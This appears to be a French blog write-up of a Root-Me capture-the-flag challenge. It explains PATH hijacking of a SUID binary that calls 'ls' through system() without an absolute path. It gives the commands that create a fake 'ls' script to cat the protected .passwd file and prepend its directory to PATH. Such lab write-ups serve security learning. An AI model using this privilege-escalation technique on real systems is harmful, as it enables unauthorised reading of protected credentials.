RootMe App-Script/Bash-System-2


Lien : https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2
On veut pouvoir lire le mot de passe du fichier .passwd
mais il n’est lisible que par le propriétaire du fichier app-script-ch12-cracked
.
Le code source de ch12.c
utilise la fonction system()
pour lister le répertoire du fichier .passwd
. Par contre la commande ls
est appelée dans la fonction system()
sans spécifier le chemin absolu, c’est-à-dire /bin/ls
. Puisque le fichier ch12
a le binaire SUID activé, il peut s’exécuter avec les droits du propriétaire. Quand la commande ls
sera exécutée par la commande system()
, le shell regardera au niveau des variables d’environnement PATH puis cherche la commande ls
dans les répertoires. La commande qu’on aura manipulé sera donc exécutée à la place.
Créér le répertoire dans /tmp/script
mkdir /tmp/script
nano /tmp/script/ls
Écrire ensuite le script pour lire le fichier .passwd
.
#!/bin/bash
cat /challenge/app-script/ch12/.passwd
Rendre le script ls exécutable
chmod +x /tmp/script/ls
Modifier la variable d’environnement PATH pour inclure notre script
export PATH=/tmp/script:$PATH
En vérifiant avec la command which ls
, on voit que que le script est bien trouvé avant la commande ls.
On peut maintenant lire le fichier.
Subscribe to my newsletter
Read articles from FIKARA BILAL directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
FIKARA BILAL
FIKARA BILAL
As a newcomer to the cybersecurity industry, I'm on an exciting journey of continuous learning and exploration. Join me as I navigate, sharing insights and lessons learned along the way